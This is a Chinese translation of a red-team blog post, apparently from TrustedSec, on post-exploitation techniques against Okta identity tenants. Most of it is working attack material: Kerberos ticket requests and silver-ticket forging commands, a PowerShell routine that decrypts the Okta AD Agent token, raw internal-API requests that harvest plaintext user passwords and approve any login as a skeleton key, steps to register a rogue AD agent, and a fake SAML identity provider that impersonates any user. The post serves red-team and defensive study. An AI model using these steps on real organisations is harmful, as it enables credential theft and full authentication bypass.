【翻译】红队的新目标Okta
面包and牛奶 发表于 日本 企业安全 1392浏览 · 2024-05-06 04:43

翻译:https://www.trustedsec.com/blog/okta-for-red-teamers

0X00前言


通过URL分享、邮件分享、脸书分享、推文分享、领英分享,长期以来,红队成员一直在宣扬"不要把域管理员作为评估的目标",现在看来企业SOC已经在注意了。现在更有可能会看到针对组织的关键服务的目标,许多服务都托管在云上。

随着将部分安全负担委托给云服务的趋势,像Microsoft Entra ID或Okta这样的身份提供商(IDP)的使用已经变得非常普遍。这意味着作为攻击者,其注意力也需要转移到包括这些服务当中去。在这篇博客文章中,我将讨论我认为针对其中一种提供商——Okta(在客户环境中找到的更受欢迎的解决方案之一)的一些后期利用技术。应该指出的是,这篇文章中的所有内容都是可疑设计的。你在这里找不到0dayz,并且许多技术需要管理权限才能实施。但是,这篇文章中展示的方法在实战中非常有帮助,这并不夸张。

0X01Okta委托认证


我们将从为将其 Okta 租户与传统的本地 Active Directory (AD) 部署在一起的用户提供的一项技术开始介绍,那就是委托认证。我最近在 Twitter 上分享了一种我发现的在攻破启用了委托认证租户时非常有用的方法(如下图所示):

我展示了Windows AD环境如何使用Kerberos与Okta集成,为用户提供登录他们的Okta账户,而不必每次登录都要使用证书的能力。这也带来了一个额外的好处,那就是通常无需多因素认证。
现在,我们来设定一个场景:你通过在工作站上执行一个植入体已经侵犯了一个AD账户,现在你想要转移到使用Okta作为 IDP的一个云服务。首先,我们需要查看Okta租户是否已启用了委托认证。这只需要执行一次DNS查询即可:

dig tenantname.kerberos.okta.com

如果查找返回了一对A记录,我们就知道已启用委托认证:

或者,如果你觉得查询服务账户不会被发现,你可以通过 LDAP 查询 SPN:

servicePrincipalName=HTTP/customername.kerberos.okta.com

同样,如果委托认证已被启用,我们会看到一个账户返回:

那么,我们已经确定 Okta 租户已启用委托认证,现在该怎么办呢?当然是请求一个 TGS 了:

getST.py -spn HTTP/clientname.kerberos.okta.com -dc-ip 1.2.3.4 LAB/comprommiseduser

获取到 AD 用户的票据后,我们需要在我们控制的主机上使用Rubeus或Mimikatz注入这个票据:

你需要确保clientname.kerberos.okta.com已被添加到Internet选项的“内网”安全区域。然后,在我们的浏览器中,如果我们访问以下URL,我们应该会看到当Kerberos票据被接受时,我们收到一个提供OK结果的JSON响应:

如果一切正常,当你转到 Okta 仪表板时,你会看到已通过 Kerberos 登录:

现在,你可能已经猜到,如果我们能够侵犯暴露委托认证SPN的实际Okta服务账户,我们就可以进行Silver Ticket攻击。但需要注意的是,由于Okta只支持AES来加密票据,我们需要确保我们有AES密钥或明文密码来进行认证:

要为 testuser 这个受害者用户创建票据,我们使用:

ticketer.py -domain-sid S-1-5-21-4170871944-1575468979-147100471 -domain lab.local -dc-ip DC01 -aesKey db22ab9c89f2f0d545024f9dfabbed44173397065d8f5b7e172200ca38ed4393 -user-id 1118 -spn HTTP/example.kerberos.okta.com testuser


再一次,通过我们的浏览器会话将这个发送到 Okta:

0X02劫持Okta AD代理


让我们来看一个我们经常遇到的另一个情景。在你的评估中,你可能发现你能够访问运行Okta AD代理的服务器。这个代理负责将域用户和组同步到Okta以进行配置,并在用户登录门户时响应来自Okta的认证请求。
默认情况下,代理安装在:

C:\Program Files (x86)\Okta\Okta AD Agent

我们将看一下OktaAgentService.exe.config文件,其中包含了一些有趣的XML片段:

Base64编码的AgentToken是我们关注的焦点。如果我们用dnSpy打开OktaAgentService.exe,我们可以看到这些值是如何被解密的:

没错…那就是好老的 DPAPI!RandomEntropy 值被设置为:

这意味着我们可以使用以下方法来解密这个Base64编码的XML值:

Add-Type -AssemblyName 'System.Security'
$rand = [byte]174,53,167,191,10,250,125,232,223,147,248,86,65

$k = [System.Security.Cryptography.ProtectedData]::Unprotect([System.Convert]::FromBase64String("AQAAANCMnd8BFdERjH..."), $rand, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)
[System.Text.Encoding]::Unicode.GetString($k)

使用的DPAPI主密钥属于运行"Okta AD 代理"服务的用户账户,所以你需要在该服务账户的上下文中运行上述代码,或者获取账户的主密钥进行解密:

那么我们可以用这个令牌做什么呢?虽然我们不能使用Okta公开的通常API调用,但是我们可以进行一些"内部"API调用。例如,在OktaAgentService.exe.config中我们有两个更进一步的XML字段APPID和AGENTID。结合AgentToken,我们可以进行如下的GET请求:

GET /api/1/internal/app/activedirectory/[APPID]/agent/[AGENTID]/nextAction?agentVersion=1&pollid=anything HTTP/1.1
Host: client.okta.com
Authorization: SSWS 00OfIl_Gi1rZu1NETmHo6auU6YZEOEn8ZlDhyqstiZ

这个调用会阻塞,直到一个用户认证到Okta(或者请求超时),这种情况下,它将返回下一个用户名和密码的明文:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<action>
    <UserAuth actionId="rpc::app.active_directory.agent.reply.ok14-majorecs02a.auw2-ok14.internal//1670637714886//Y5PojoeQQ3KDgHHzA11P9wAAC8g:e9088489-99ff-435a-943b-b7dccc457cb5:">
        <type>USER_AUTH</type>
        <password>abc123</password>
        <useLdapGroupPasswordPolicy>false</useLdapGroupPasswordPolicy>
        <userName>domuser@lab.local</userName>
    </UserAuth>
</action>

虽然这允许我们捕获凭据,但如果我们想做类似提供一个万能钥匙的事情,我们还有机会去回复这个认证尝试。我们通过发出以下HTTP请求来实现这一点:

POST /api/1/internal/app/activedirectory/0oa7c027u2tcjxoki697/agent/a537ca54okqfsuu0s697/actionResult?responseid=12345 HTTP/1.1
Host: client.okta.com
Authorization: SSWS 00JFtjd...WgkeI1Eg5Y
Content-Type: application/xml; charset=utf-8
Content-Length: 1362

<agentActionResult xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" actionId="rpc::app.active_directory.agent.reply.ok14-majorecs04a.auw2-ok14.internal//1694301421033//ZPz86MzEBzhpMhSFWzyK5wAAA_Q:440a7d52-704b-4c1b-ac79-afdc241e3080:">
  <type>USER_AUTH</type>
  <status>SUCCESS</status>
  <message></message>
  <errorCode></errorCode>
  <timestamps>
    <actionRecieivedFromOkta>1694358076</actionRecieivedFromOkta>
    <actionSentToLdapServer>1694358076</actionSentToLdapServer>
    <responseReceivedFromLdapServer>1694358076</responseReceivedFromLdapServer>
    <responseSentToOkta>1694358076</responseSentToOkta>
    <actionReceivedFromOktaMilliseconds>20230910150116.726Z</actionReceivedFromOktaMilliseconds>
    <actionSentToLdapServerMilliseconds>20230910150116.741Z</actionSentToLdapServerMilliseconds>
    <responseReceivedFromLdapServerMilliseconds>20230910150116.741Z</responseReceivedFromLdapServerMilliseconds>
    <responseSentToOktaMilliseconds>20230910150116.741Z</responseSentToOktaMilliseconds>
  </timestamps>
  <additionalInfo>{{"ExecutionTime":"12","AgentUpTime":"0 day(s) 22:41:49","DC":"DC01.lab.local","DomainControllerFunctionality":"WIN2016","DomainFunctionality":"WIN2016","ForestFunctionality":"WIN2016","LdapResponseTime":"0"}}</additionalInfo>
</agentActionResult>

发出这个请求的结果是允许通过 Okta 认证任何用户。我们将在下面进一步探讨这个概念。

0X03以管理员身份劫持AD


我们知道我们可以使用被盗的代理令牌劫持Okta AD代理,但如果我们侵入了一个有特权的Okta账户,并希望没有现有代理令牌就进行这种操作呢?让我们看看如何做到这一点。
首先,我们需要创建一个Okta AD代理API令牌。为了启动认证流程,我们需要一个OAuth Code。为此我们首先访问:

https://example.okta.com/oauth2/authorize?redirect_uri=%2Foauth-response&response_type=code&client_id=cappT0Hfy97F1BoO1UTR&prompt=select_account

这将给你一个权限提示供你接受:

接受所提供的提示将给你一个重定向到/oauth-response,并附带一个code参数:

我们需要拿到这个code参数,并使用POST请求请求一个API令牌:

POST /oauth2/token HTTP/1.1
User-Agent: Okta AD Agent/3.16.0 (Microsoft Windows NT 6.2.9200.0; .NET CLR 4.0.30319.42000; 64-bit OS; 64-bit Process; sslpinning=disabled)
Content-Type: application/x-www-form-urlencoded
Host: example.okta.com
Content-Length: 65
Expect: 100-continue
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

grant_type=api_token&code=7vzn01sl&client_id=cappT0Hfy97F1BoO1UTR

响应返回给我们的 API 令牌:

json{"api_token":"00456b2Lllk2KqjLBvaxANWEgTd7bqjsxjo8aZj0wd"}

使用这个令牌,我们需要将其与一个活动的AD域关联起来。我们使用这个API调用来实现:

POST /api/1/internal/app/activedirectory/ HTTP/1.1
User-Agent: Okta AD Agent/3.16.0 (Microsoft Windows NT 6.2.9200.0; .NET CLR 4.0.30319.42000; 64-bit OS; 64-bit Process; sslpinning=disabled)
Host: example.okta.com
Accept: application/xml; charset=UTF-8
Content-Type: application/xml; charset=UTF-8
Content-Length: 86
Authorization: SSWS 00456b2Lllk2KqjLBvaxANWEgTd7bqjsxjo8aZj0wd

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<domain name="lab.local" />

这将返回下面的 XML 响应,我们需要保留 id 属性值供后用

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<activeDirectory id="0oa4jsza16ar1UdaW696">
<name>lab.local</name>
<newInstance>false</newInstance>
</activeDirectory>

接下来,我们发起一个 HTTP API 调用来命名我们的连接器:

POST /api/1/internal/app/activedirectory/0oa4jsza16ar1UdaW196/agent?name=DC02 HTTP/1.1
Host: example.okta.com
Content-Type: text/xml
Content-Length: 0
Authorization: SSWS 00456b2Lllk2KqjLBvaxANWEgTd7bqjsxjo8aZj0wd

这将返回一个 XML 响应,我们同样需要保留 id 属性:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><agent id="a532camqiqXMhlOf5697"><name>DC02</name></agent>

最后,我们初始化连接以允许接收数据:

POST /api/1/internal/app/activedirectory/0oa4jsza16ar1UdaW196/agent/a532camqiqXMhlOf5697/actionResult?agentVersion=3.13.0.0 HTTP/1.1
Host: example.okta.com
Content-Type: text/xml
Content-Length: 825
Authorization: SSWS 00456b2Lllk2KqjLBvaxANWEgTd7bqjsxjo8aZj0wd

<agentActionResult xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <type>INIT</type>
  <status>SUCCESS</status>
  <timestamps>
    <actionRecieivedFromOkta />
    <actionSentToLdapServer />
    <responseReceivedFromLdapServer />
    <responseSentToOkta>1694304008</responseSentToOkta>
    <actionReceivedFromOktaMilliseconds>00010101000000.000Z</actionReceivedFromOktaMilliseconds>
    <actionSentToLdapServerMilliseconds>00010101000000.000Z</actionSentToLdapServerMilliseconds>
    <responseReceivedFromLdapServerMilliseconds>00010101000000.000Z</responseReceivedFromLdapServerMilliseconds>
    <responseSentToOktaMilliseconds>20230910000008.174Z</responseSentToOktaMilliseconds>
  </timestamps>
  <additionalInfo>{}</additionalInfo>
</agentActionResult>

这样做,我们的假AD代理现在已经准备好,并将像前面展示的那样处理认证尝试。显然,我们不想使用Burp来做所有这些操作,因此已经开发了一个工具来支持一些用例。该工具可以在此处获取。我们可以在该工具中运行的第一种模式是令牌模式,它会接受一个被盗的代理令牌值,并将连接到Okta API,导出它接收到的任何凭证:

python ./main.py --tenant-domain example.okta.com --skeleton-key WibbleWobble99 token --api-token 00456b2Lllk2KqjLBvaxANWEgTd7bqjsxjo8aZj0wd --app-id 0oa7c027u2TcJxoki697 --agent-id a537cnm9ldwPILkqP697

链接:视频1视频2

0X04Okta提供假SAML


近期,Okta实际上已经针对野外攻击中使用这种技术提供了一个安全更新,所以在模拟环境活动时了解这一点是非常有用的,特别是对于想要测试对这种特定攻击检测的客户来说。如果我们掌握了一个权限较高的Okta账户的访问权限,我们可以部署一个外部身份提供者作为Okta功能的一部分。这允许像Entra ID这样的外部提供者完成身份验证,然后将用户重定向到Okta选择集成应用程序。但如果我们控制了 IDP 会发生什么呢?
显然,在这种情况下,我们可以批准我们想要的任何认证请求。为了测试这一点,我们需要部署一个自定义身份提供者。可以在这里找到一个支持我们邪恶活动的非常粗糙的SAML IDP。这个工具背后的核心思想是允许我们发布对应于我们喜欢的任何用户的签名SAML认证响应。这个服务器将在saml上监听传入的HTTP请求,所以我们首先需要向Okta部署一个 IDP。首先,我们选择SAML 2.0 IDP:

在配置IDP时,我们需要注意一些设置。首先是名称,这是将显示给Okta的其他管理员的友好名称,接下来是发行者URL,应该将其设置为URI格式的标识符值。这又可以是任何值,但我们将使用https://www.example.com(如下图所示):

我们还需要设置IdP单点登录(SSO)URL字段,指向我们的SAML服务器正在运行的位置。现在,有趣的是,这不需要是指向我们服务器的URL。我觉得值得指出这一点,因为我们可以在这里输入的URL上变得相当有创意,使得蓝队(防御方)的工作变得更加困难。例如,如果我们愿意,可以将这个字段设置为类似https://idp.google.com/saml 的某个值,而我们唯一需要做的就是捕获传入的SAML请求。这里有个有趣的地方:SAML 请求是在客户端转发的。这意味着,Okta将生成 SAML AuthRequest,并使我们的浏览器重定向到https://idp.google.com/ ,连同SAML请求一起。当然,这意味着我们可以通过修改本地hosts文件,将idp.google.com 指向 127.0.0.1:

echo '127.0.0.1 idp.google.com' | sudo tee -a /etc/hosts

我们还需要一个我们控制的签名证书。这可以是自签名的,并且可以使用OpenSSL来生成:

openssl req -x509 -newkey rsa:2048 -sha256 -days 365 -nodes -keyout example.com.key -out example.com.crt

此外,你可以在这方面发挥创意,因为对这个证书的真实性没有具体要求。一旦密钥生成,我们只需将证书上传到Okta 并创建我们的IDP。

最后,我们需要确保将"匹配项"设置为Okta用户名或电子邮件,并将账户关联策略设置为自动,以允许我们对现有的 Okta账户进行认证:

保存所有设置后,我们需要下载元数据:

元数据通常包含与SAML配置相关的重要信息,例如发行者URL、SAML断言消费者服务URL、SAML断言属性和签名证书等。这个元数据文件是在SAML身份提供者(例如Okta)和服务提供者之间设置信任关系和进行通信时必要的。在配置SAML集成时,此元数据通常会被导入到服务提供者的系统中,从而允许双方正确识别和相互交互。

接下来,为了启动认证请求并发出AuthRequest,我们需要导航到显示在"断言消费者服务URL(Assertion Consumer Service URL)中的URL:

导航到这个 URL 通常会触发一个SAML认证请求的过程。当用户尝试登录一个集成了SAML的应用程序时,服务提供商(SP)会重定向用户到这个URL,开始认证流程。这个过程涉及到从用户的浏览器向身份提供者(IdP)发送一个SAML请求,并在身份验证完成后,用户会被重定向回服务提供商,并附有包含认证信息的SAML响应。这个响应用于确认用户的身份并授予他们对应用程序的访问权限。

导航到这个URL将导致重定向到我们的内部SAML服务器:

导航到这个 URL 并提供一个电子邮件地址后,我们发现可以在不需要知道任何 Okta 用户凭证的情况下,以任何用户的身份进行认证。这一过程展示了在控制了假的SAML身份提供者(IdP)的情况下,如何绕过正常的认证流程。通过设计这样的伪造IdP,攻击者可以捕获从服务提供商(SP)例如Okta发出的SAML认证请求,然后提供一个专门构造的SAML响应,以成功确认任选用户的身份。因此,如果攻击者能够使受害者环境中的流量重定向到这个假的IdP,就可能允许未授权的访问,而无需知道用户的实际登录凭证。

0X05点评


希望这篇文章对那些一直想要了解如何在追寻目标时导航Okta的红队成员们有所帮助。我们还有更多技巧可以使用,但通过本文演示的这些技巧,你应该能向客户展示为什么监控基于云的身份提供商(IDPs)如此重要。
在当今的网络安全环境中,身份和访问管理(IAM)成为了保护企业资源的关键层面。随着越来越多的企业采用云服务和SaaS应用,有效监控和管理对这些资源的访问变得尤为重要。通过模拟攻击者可能利用的策略和技术,红队可以帮助组织识别潜在的安全弱点,并采取措施来强化其安全防御。此类活动可以增强对基于云的身份提供商的了解,并帮助确保采取了适当的配置和监控措施来防范潜在的攻击和滥用

0 条评论
某人
表情
可输入 255